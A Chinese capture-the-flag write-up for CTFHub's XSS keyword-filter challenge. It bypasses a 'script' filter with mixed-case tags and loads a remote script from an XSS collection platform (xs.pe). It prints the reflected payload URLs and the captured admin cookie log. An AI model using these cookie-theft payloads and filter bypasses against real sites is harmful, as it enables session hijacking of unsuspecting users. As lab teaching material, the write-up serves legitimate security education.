当前位置: 首页 > news >正文

CTFHub XSS通关:XSS-过滤关键词

目录

一、代码审计

1、源码分析

2、核心模块

(1)用户输入模块

(2)内容输出模块

(3)Bot模拟器模块

(4)状态反馈系统

二、XSS平台

1、XSS平台简介

(1)前端界面

(2)后端服务

2、XSS平台使用

(1)注册账号

(2)登录账号

(3)创建项目

三、关键词过滤渗透实战

1、XSS探测

2、Send URL to Bot

3、XSS平台渗透

(1)输入框1

(2)源码分析

(3)输入框2

(5)XSS平台获取flag


本文详细讲解CTFHub的XSS-关键词过滤关卡的渗透实战全流程。通过代码审计发现靶场页面存在XSS注入风险,但存在关键词过滤机制。采用大小写混淆技术成功绕过过滤,构造出有效的XSS载荷。利用XSS平台搭建接收服务器,通过反射型XSS攻击获取管理员Cookie,最终成功获得flag值。整个流程详细演示了从XSS注入点发现到利用的全过程,重点展示了如何绕过关键词过滤机制和通过XSS平台收集敏感信息。

一、代码审计

1、源码分析

打开靶场,进入XSS-关键词过滤关卡,如下所示。

右键查看源代码,这是一个XSS关键词过滤挑战页面,包含用户输入表单和Bot模拟器。用户可通过GET请求的name参数提交内容,系统会对输入进行关键词过滤。页面提供URL提交功能,可将任意链接发送给Bot进行模拟访问。挑战目标是构造能绕过过滤的XSS载荷,当Bot访问包含恶意载荷的URL时触发XSS,从而获取flag。页面使用Bootstrap框架,通过AJAX与后端交互,并包含成功/失败的状态提示机制。具体源码如下所示。


<!DOCTYPE html>
<html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>CTFHub 技能学习 | XSS 关键词过滤</title><link rel="stylesheet" href="/static/bootstrap.min.css"><!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --><!-- WARNING: Respond.js doesn't work if you view the page via file:// --><!--[if lt IE 9]><script src="https://cdn.bootcss.com/html5shiv/3.7.3/html5shiv.min.js"></script><script src="https://cdn.bootcss.com/respond.js/1.4.2/respond.min.js"></script><![endif]--><script src="/static/jquery.min.js"></script><script src="/static/popper.min.js"></script><script src="/static/bootstrap.min.js"></script>
</head><body><div class="container"><div class="jumbotron text-center"><h1>XSS 关键词过滤</h1><hr><!-- Alert --><div id="alert"><div id="success" class="alert alert-success" role="alert" style="display: none;"></div><div id="fail" class="alert alert-danger" role="alert" style="display: none;"></div></div><!-- Body --><div><form action="" method="GET"><div class="input-group mb-3"><div class="input-group-prepend"><span class="input-group-text">What's your name</span></div><input type="text" class="form-control" placeholder="CTFHub" id="name" name="name"><div class="input-group-append"><input type="submit" value="Submit" class="btn btn-success"></div></div>
</form>
<!-- Output -->
<hr>
<div><h1>Hello, CTFHub</h1>
</div>
<hr></div><!-- Submit --><div><h2>Send URL to Bot</h2>
<div class="input-group mb-3"><div class="input-group-prepend"><span class="input-group-text">URL</span></div><input type="text" class="form-control" id="url" name="url"><div class="input-group-append"><input type="button" id="Send" value="Send" class="btn btn-success" onclick="send()"></div><script>function send() {let url = $("#url").val()$.ajax({type: "post",url: "/submit",dataType: "json",contentType: "application/json",data: JSON.stringify({url: url}),success: function (d) {if (d.code == -1) {$("#fail").text(d.msg)$("#fail").show();setTimeout(function () {$("#fail").hide();}, 5000);} else if (d.code == 0) {$("#success").text(d.msg)$("#success").show();setTimeout(function () {$("#success").hide();}, 5000);}}});}</script>
</div></div></div></div>
</body></html>

2、核心模块

(1)用户输入模块

<form action="" method="GET"><input type="text" class="form-control" id="name" name="name">
</form>
  • 功能:接收用户输入的姓名参数

  • 方法:GET请求

  • 参数name

  • 特点:输入内容会反映在URL查询参数中

(2)内容输出模块

<div><h1>Hello, CTFHub</h1>
</div>
  • 显示:固定文本"Hello, CTFHub"

  • 关键点:没有直接回显用户输入,暗示XSS触发点可能在其他位置

(3)Bot模拟器模块

function send() {$.ajax({type: "post",url: "/submit",data: JSON.stringify({url: url})});
}
  • 功能:将URL提交给后端Bot进行模拟访问

  • 通信方式:AJAX POST请求

  • 数据格式:JSON

  • 用途:测试XSS载荷的实际效果

(4)状态反馈系统

<div id="alert"><div id="success" class="alert alert-success"></div><div id="fail" class="alert alert-danger"></div>
</div>
  • 成功提示:绿色alert框,显示操作成功信息

  • 失败提示:红色alert框,显示错误信息

  • 自动隐藏:5秒后自动隐藏提示信息

功能

  • 绿色成功提示:Bot验证通过,获取flag成功

  • 红色失败提示:XSS payload未生效或验证失败

二、XSS平台

1、XSS平台简介

XSS平台是一种专门用于跨站脚本攻击测试和安全研究的Web应用程序。它为安全研究人员和白帽子黑客提供模拟真实攻击的环境,用于演示和验证Web应用程序中的XSS注入风险。平台核心功能包括生成并管理各种XSS攻击载荷(Payload)、自动收集受害者浏览器的敏感信息(如Cookie、会话令牌、浏览器指纹等),并提供远程代码执行能力。该平台强调合法与授权使用,通常用于渗透测试、安全教学等,是Web安全领域重要的教育和研究工具。其主要组成部分如下所示。

(1)前端界面

  • 攻击管理面板 - 创建、监控攻击活动

  • 数据展示界面 - 实时显示收集的信息

  • Payload生成器 - 定制化攻击代码

(2)后端服务

  • 数据接收端点 - 处理受害者发回的数据

  • Payload分发 - 动态生成恶意脚本

  • 会话管理 - 维持攻击者控制会话

2、XSS平台使用

(1)注册账号

本文以https://xssaq.com/为例,讲解如何在渗透测试场景下使用XSS平台。

(2)登录账号

使用注册的账号登录,如下所示。

登录后效果如下所示,注意左侧菜单栏中的“创建项目”选项,这是我们会用到的功能。

(3)创建项目

点击左侧菜单栏中的“创建项目”,随便起个名字“mooyuan”,点击立即提交,如下所示。

在“我的的项目”点击刚才创建的项目“mooyuan”,再点击右上角的查看配置源码,如下图所示。

此时网页弹框如下所示,我们需要在配置代码中选择自己要使用的脚本,这里我们选择第二个即可,如下所示(特别注意:每个人的payload各不相同)。

<sCRiPt sRC=//xs.pe/YxF></sCrIpT>

三、关键词过滤渗透实战

1、XSS探测

打开靶场,在关卡页面中寻找所有可能的用户输入点,在第一个输入框内尝试输入最简单的测试载荷<script>alert("ljn")</script>,并观察页面响应。

<script>alert("ljn")</script>

未能成功弹窗,如上图所示可知script应该是过滤的关键字,修改payload,尝试大小写绕过如下所示。

<Script>alert("ljn")</scRipt>

点击send后成功弹框,此时XSS反射链接的URL地址如下所示。

http://challenge-bb20328b8cc2bdd4.sandbox.ctfhub.com:10800/?name=%3CScript%3Ealert%28%22ljn%22%29%3C%2FscRipt%3E

2、Send URL to Bot

在CTF中,反射型XSS通常需要管理员触发。将上一步构造好的完整恶意URL提交给平台提供的“模拟管理员”或“机器人”进行访问,即复制XSS反射攻击URL到send URL to Bot对应的地址框中,如下所示。

点击send等价于让bot也执行这个XSS反射链接, 点击send后,就相当于让BOT执行我刚刚这个换浏览器访问XSS反射型攻击的链接一样。如下所示,执行成功,页面返回successfully。

这里模拟一下执行效果,在本机换个浏览器,执行刚刚的XSS攻击URL地址,如下所示成功反弹。

http://challenge-bb20328b8cc2bdd4.sandbox.ctfhub.com:10800/?name=%3CScript%3Ealert%28%22ljn%22%29%3C%2FscRipt%3E

3、XSS平台渗透

接下来的目标是构造能窃取Cookie的有效载荷,由于最终目标是获取管理员Cookie,故而我们不能使用弹窗,而是需要将Cookie外带到自己的服务器。这时候我们就需要一个接收并记录Cookie信息的XSS服务器,本部分部分我们使用XSS平台中的收集cookie功能,如下所示。

<sCRiPt sRC=//xs.pe/YxF></sCrIpT>

  • 标签选择:没有使用常见的 <script>alert(1)</script>,而是选择了 <script src="...">。这指示浏览器从外部源(//xs.pe/YxF)加载并执行JavaScript代码。这样做的好处是载荷非常短,且攻击逻辑可以全部放在外部脚本中,便于维护和更新。

  • 大小写混淆:将 script 写成了 sCRiPt 和 sCrIpT。这是一种简单的绕过技术,用于规避那些只进行简单大小写匹配(如查找 <script)的初级WAF(Web应用防火墙)或输入过滤器。

  • 属性简化

    • sRC 而不是 src:同样是大小写混淆。

    • 属性值没有加引号:sRC=//xs.pe/YxF 而不是 src="//xs.pe/YxF"。这在HTML中是允许的,能减少特殊字符,有时也能绕过对引号的检查。

  • 协议相对URL:使用 //xs.pe/YxF 而不是 http://xs.pe/YxF 或 https://xs.pe/YxF。这意味着脚本会使用当前页面相同的协议(HTTP或HTTPS)来加载,兼容性更好,无论挑战页面是HTTP还是HTTPS都能成功加载恶意脚本。

(1)输入框1

输入基于XSS安全平台提供的payload,在第一个输入框输入后点击send,此时记录反射型攻击的XSS URL地址。

http://challenge-daef337246fd308f.sandbox.ctfhub.com:10800/?name=%3CsCRiPt+sRC%3D%2F%2Fxs.pe%2FYxF%3E%3C%2FsCrIpT%3E

(2)源码分析

右键源码,如下所示,输入时是<sCRiPt sRC=//xs.pe/YxF></sCrIpT>输出时为:<sCRiPt sRC=//xs.pe/YxF></sCrIpT>因为payload中script和src均使用大小写混淆的方法,此时输出没有被过滤掉。

(3)输入框2

在第二个文本框内输入上一步生成的获取cookie的反射型XSS链接地址,点击send返回successfully。此步骤的目的是将构造好的完整恶意URL(窃取Cookie载荷)提交给平台提供的“模拟管理员”或“机器人”进行访问。一旦管理员浏览器加载此URL,其中的脚本就会自动执行,将其Cookie悄无声息地发送到你在上一步骤中搭建的接收服务器上。

(5)XSS平台获取flag

观察XSS平台,如下说明服务器已收到cookie。

点击查看如下所示,找到管理员的Cookie即可成功获取到flag值。

其详细信息如下所示。

记录ID631263
首次触发时间2025-10-28 22:00:19
最后触发时间2025-10-28 22:00:19
触发者IP1.83.158.188
页面标题CTFHub 技能学习 | XSS 关键词过滤
触发TOP_URLhttp://challenge-daef337246fd308f.sandbox.ctfhub.com:10800/?name=%3CsCRiPt+sRC%3D%2F%2Fxs.pe%2FYxF%3E%3C%2FsCrIpT%3E
触发URLhttp://challenge-daef337246fd308f.sandbox.ctfhub.com:10800/?name=%3CsCRiPt+sRC%3D%2F%2Fxs.pe%2FYxF%3E%3C%2FsCrIpT%3E
浏览器分辨率800*600
referrer
User AgentMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/112.0.5615.138 Safari/537.36
Cookiesflag=ctfhub{506bde2967397c2b24715564}
localStorage{}
sessionStorage{}
http://www.dtcms.com/a/565087.html

相关文章:

  • Java设计模式精讲---简单工厂模式
  • Spring Boot + EasyExcel 枚举转换器:通用方案
  • Pandas-之数据合并与连接
  • 大数据毕业设计项目推荐 基于大数据的广西医疗机构数据可视化分析系统 1.85w条数据【大数据毕业设计项目选题】
  • Node.Js 实现模板生成Word、Word转Pdf文件、Excel生成、上传和下载
  • 山西省建设监理协会官方网站好书推荐ppt模板免费下载
  • 机器学习中的Hello World:线性回归(一)
  • RT-DETR解码模块(Decoder)
  • 做炫舞情侣头像动态图网站建设公司网站怎么弄
  • 诚通凯胜生态建设有限公司网站莆田企业网站建设
  • IVWorks率先将8英寸GaN纳米线片商业化
  • ip网段扫描机器shell脚本
  • 智能家居品牌出海新打法:用海外网红营销讲好“未来生活剧本”
  • 做网站有效果吗网络推广公司方案
  • 基于ROS与YOLOv3的智能采购机器人设计(智能车创意组-讯飞智慧生活组)
  • 优化Elasticsearch批量写入性能:从单分片瓶颈到多索引架构
  • 高效文献阅读与笔记整理方法:从 筛选 到 3Pass 精读
  • 一步一步教你做网站后台视频广东新闻联播主持人
  • 如何用 Simulink 驱动 UE5 的海况切换
  • 多线程——并发三特性
  • 5.25基于labview交通灯+分时段控制红绿灯时间。手动输入控制labview交通灯labview版本2018,比我高都能打开。
  • 访问网站速度很慢discuz 做家教网站
  • 【树莓派5安装实时RT内核】最新版
  • CANN自定义算子开发实战:Softmax优化全流程解析
  • XAI 面经分享|从模型解释到面试考察,全流程复盘
  • 免费做简历下载的网站wordpress thetime
  • python实现象棋
  • 开发巴西外贸客户有什么好方法
  • 安徽省住房和城乡建设厅网站查询seo自学教程
  • 导入权重和偏置的感知机